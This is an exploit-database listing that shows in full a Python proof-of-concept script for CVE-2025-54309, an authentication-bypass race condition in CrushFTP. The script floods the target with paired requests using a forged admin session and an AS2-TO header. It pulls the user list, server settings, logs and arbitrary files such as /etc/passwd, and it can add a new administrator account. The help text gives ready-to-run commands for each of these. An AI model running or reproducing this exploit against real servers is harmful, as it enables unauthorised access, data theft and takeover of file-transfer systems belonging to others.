Exploit database

GH-fb649a9fe6fb3a73cd3a0dff201527f7

0xlittlespidy/cve-2025-54309

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-54309

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0xlittlespidy/cve-2025-54309Revision af2afea07e23

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 12,372 bytes
#!/usr/bin/env python3
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import random
import string
import argparse
import urllib3

# Suppress insecure request warnings for proxy usage
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



helptext =  """
            Example Usage:
          - Get user list (default Action):
            python exploit.py http://target:8082
          
          - Get server settings (saves to crushftp_settings.xml):
            python exploit.py http://target:8082 --action get-settings
            python exploit.py http://target:8082 --action get-settings --save-as my_settings.xml
          
          - Get server logs (saves to crushftp_logs.xml):
            python exploit.py http://target:8082 --action get-logs
            python exploit.py http://target:8082 --action get-logs --log-count 1000 --save-as my_logs.xml

          - Read a file (Arbitrary File Read):
            python exploit.py http://target:8082 --action get-file --path /etc/passwd
            python exploit.py http://target:8082 --action get-file --path "C:/Windows/win.ini"

          - Get server info:
            python exploit.py http://target:8082 --action get-info
          
          - Add a new admin user:
            python exploit.py http://target:8082 --action add-user --new-user myadmin --new-pass mypassword123
			 """

# Generate random 4-character c2f value
def generate_random_c2f():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=4))

# Global variables for c2f and cookie management
C2F_VALUE = None
CRUSH_AUTH_COOKIE = None

def update_c2f_and_cookies():
    """Generate new c2f value and update cookies"""
    global C2F_VALUE, CRUSH_AUTH_COOKIE
    C2F_VALUE = generate_random_c2f()
    CRUSH_AUTH_COOKIE = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{C2F_VALUE}; currentAuth={C2F_VALUE}"
    # Removed print statement to avoid terminal clutter during race

# Initialize first c2f value
update_c2f_and_cookies()

def get_action_payload(action, args):
    """Generate the data payload for the specified action"""
    payload = {
        "c2f": C2F_VALUE
    }
    
    if action == "list-users":
        payload.update({
            "command": "getUserList",
            "serverGroup": "MainUsers"
        })
    elif action == "get-settings":
        payload.update({
            "command": "getServerItem",
            "key": "server_settings"
        })
    elif action == "get-logs":
        payload.update({
            "command": "getLog",
            "start_index": "0",
            "count": str(args.log_count)
        })
    elif action == "get-file":
        payload.update({
            "command": "getFile",
            "path": args.path
        })
    elif action == "get-info":
        payload.update({
            "command": "getServerItem",
            "key": "server_info"
        })
    elif action == "add-user":
        username = args.new_user
        password = args.new_pass
        # Basic XML for a new admin user
        xml_data = f'<?xml version="1.0" encoding="UTF-8"?><user_item type="properties"><username>{username}</username><password>{password}</password><root_dir>/</root_dir><permissions>(read)(write)(view)(delete)(resume)(share)(slideshow)</permissions><user_admin>true</user_admin></user_item>'
        payload.update({
            "command": "setUserItem",
            "data_action": "add",
            "serverGroup": "MainUsers",
            "username": username,
            "password": password,
            "xml": xml_data
        })
    
    return payload

def make_request_with_as2(target_url, payload, proxies=None):
    """Make request with AS2-TO header and disposition-notification content type"""
    url = f"{target_url.rstrip('/')}/WebInterface/function/"
    
    headers = {
        "Host": target_url.replace("http://", "").replace("https://", ""),
        "User-Agent": "python-requests/2.32.3",
        "Accept-Encoding": "gzip, deflate",
        "Accept": "*/*",
        "Connection": "keep-alive",
        "AS2-TO": "\crushadmin",
        "Content-Type": "disposition-notification",
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": CRUSH_AUTH_COOKIE
    }
    
    try:
        response = requests.post(url, headers=headers, data=payload, timeout=10, proxies=proxies, verify=False)
        return response.status_code, response.text
    except Exception as e:
        return 0, ""

def make_request_without_as2(target_url, payload, proxies=None):
    """Make request without AS2-TO header and disposition-notification content type"""
    url = f"{target_url.rstrip('/')}/WebInterface/function/"
    
    headers = {
        "Host": target_url.replace("http://", "").replace("https://", ""),
        "User-Agent": "python-requests/2.32.3",
        "Accept-Encoding": "gzip, deflate",
        "Accept": "*/*",
        "Connection": "keep-alive",
        "X-Requested-With": "XMLHttpRequest",
        "Cookie": CRUSH_AUTH_COOKIE
    }
    
    try:
        response = requests.post(url, headers=headers, data=payload, timeout=10, proxies=proxies, verify=False)
        return response.status_code, response.text
    except Exception as e:
        return 0, ""

def save_output_to_file(action, content, args):
    """Helper to save exfiltrated data to a file"""
    if args.save_as:
        filename = args.save_as
    else:
        defaults = {
            "list-users": "crushftp_users.xml",
            "get-settings": "crushftp_settings.xml",
            "get-logs": "crushftp_logs.xml",
            "get-file": "crushftp_exfiltrated_file.txt",
            "get-info": "crushftp_info.xml"
        }
        filename = defaults.get(action, f"exfiltrated_{action}.txt")

    try:
        with open(filename, "w") as f:
            f.write(content)
        print(f"[*] Data saved to {filename}")
    except Exception as e:
        print(f"[!] Error saving to file: {str(e)}")

def check_vulnerable_response(action, status_code, response_text, args):
    """Check if response indicates success for the specific action"""
    if not response_text or status_code != 200:
        return False

    if action == "list-users":
        if "<user_list_subitem>" in response_text:
            import re
            usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
            if usernames:
                print(f"[*] EXFILTRATED {len(usernames)} USERS: {', '.join(usernames[:10])}")
                save_output_to_file(action, response_text, args)
                return True
    
    elif action == "get-settings":
        if "<server_settings>" in response_text or "<item" in response_text:
            print("[*] EXFILTRATED SERVER SETTINGS!")
            save_output_to_file(action, response_text, args)
            print(response_text[:500] + "...")
            return True
            
    elif action == "get-logs":
        if "<log_subitem>" in response_text or "Log" in response_text:
            print("[*] EXFILTRATED LOGS!")
            save_output_to_file(action, response_text, args)
            print(response_text[:500] + "...")
            return True
            
    elif action == "get-file":
        # More robust check for file content vs error pages
        if response_text and "error" not in response_text.lower() and "<response>" not in response_text and "not found" not in response_text.lower() and "<html" not in response_text.lower():
            print(f"[*] EXFILTRATED FILE CONTENT FROM: {args.path}")
            save_output_to_file(action, response_text, args)
            print("-" * 40)
            print(response_text[:500] + "...")
            print("-" * 40)
            return True
            
    elif action == "get-info":
        if "<server_info>" in response_text or "<item" in response_text:
            print("[*] EXFILTRATED SERVER INFO!")
            save_output_to_file(action, response_text, args)
            print(response_text[:1000] + "...")
            return True
            
    elif action == "add-user":
        if 'success="true"' in response_text.lower() or ("<response>" in response_text and "error" not in response_text.lower() and len(response_text) < 500):
            print("[*] SUCCESSFULLY CREATED NEW ADMIN USER!")
            return True
    
    return False

def race_requests_with_detection(target_url, action, args, num_requests=1000, proxies=None):
    """Race multiple requests and detect vulnerability"""
    print(f"[*] Starting race for action '{action}' with {num_requests} request pairs...")
    print("=" * 60)
    
    for i in range(num_requests):
        # Generate new c2f every 50 requests
        if i % 50 == 0:
            update_c2f_and_cookies()
        
        # Get dynamic payload
        payload = get_action_payload(action, args)
        
        # Store results
        results = {'as2': None, 'regular': None}
        
        def as2_worker():
            results['as2'] = make_request_with_as2(target_url, payload, proxies)
        
        def regular_worker():
            results['regular'] = make_request_without_as2(target_url, payload, proxies)
        
        # Create and start threads
        t1 = threading.Thread(target=as2_worker)
        t2 = threading.Thread(target=regular_worker)
        
        # Start both threads simultaneously
        t1.start()
        t2.start()
        
        # Wait for both to complete
        t1.join()
        t2.join()
        
        # Unpack results
        as2_status, as2_response = results['as2']
        regular_status, regular_response = results['regular']
        
        # Check if either response contains success indicator
        if check_vulnerable_response(action, as2_status, as2_response, args) or check_vulnerable_response(action, regular_status, regular_response, args):
            print("[*] VULNERABLE! RACE CONDITION EXPLOITED!")
            return True
        
        # Print progress every 50 requests
        if (i + 1) % 50 == 0:
            print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")
    
    return False

def poc_attempt(target_url, action, args, proxies=None):
    """Main POC function with retry logic"""
    total_requests = 5000
    
    print("[*] CRUSHFTP RACE CONDITION POC - MULTI-ACTION")
    print(f"[*] TARGET: {target_url}")
    print(f"[*] ACTION: {action}")
    print(f"[*] ATTACK: {total_requests} requests with session rotation")
    print("=" * 60)
    
    if race_requests_with_detection(target_url, action, args, total_requests, proxies):
        return True
    
    print("[*] POC FAILED: Target appears to be patched or timing window missed")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CrushFTP Authentication Bypass Race Condition PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=helptext)
    parser.add_argument("target", help="Target URL (e.g., http://localhost:8082)")
    parser.add_argument("-p", "--proxy", help="HTTP proxy URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("-a", "--action", choices=["list-users", "get-settings", "get-logs", "get-file", "get-info", "add-user"], default="list-users", help="Action to perform (default: list-users).")
    parser.add_argument("--save-as", help="Filename to save the exfiltrated data (for get-settings or get-logs)")
    parser.add_argument("--log-count", type=int, default=500, help="Number of log entries to fetch (default: 500)")
    parser.add_argument("--path", default="/etc/passwd", help="Path to read for get-file action")
    parser.add_argument("--new-user", default="crush_admin", help="Username for add-user action")
    parser.add_argument("--new-pass", default="crush_pass123!", help="Password for add-user action")
    
    args = parser.parse_args()
    

    
    target_url = args.target
    proxies = None
    
    if args.proxy:
        proxies = {
            "http": args.proxy,
            "https": args.proxy
        }
        print(f"[*] Using proxy: {args.proxy}")

    # Validate URL format
    if not target_url.startswith(('http://', 'https://')):
        print("[*] Error: URL must start with http:// or https://")
        sys.exit(1)
    
    poc_attempt(target_url, args.action, args, proxies)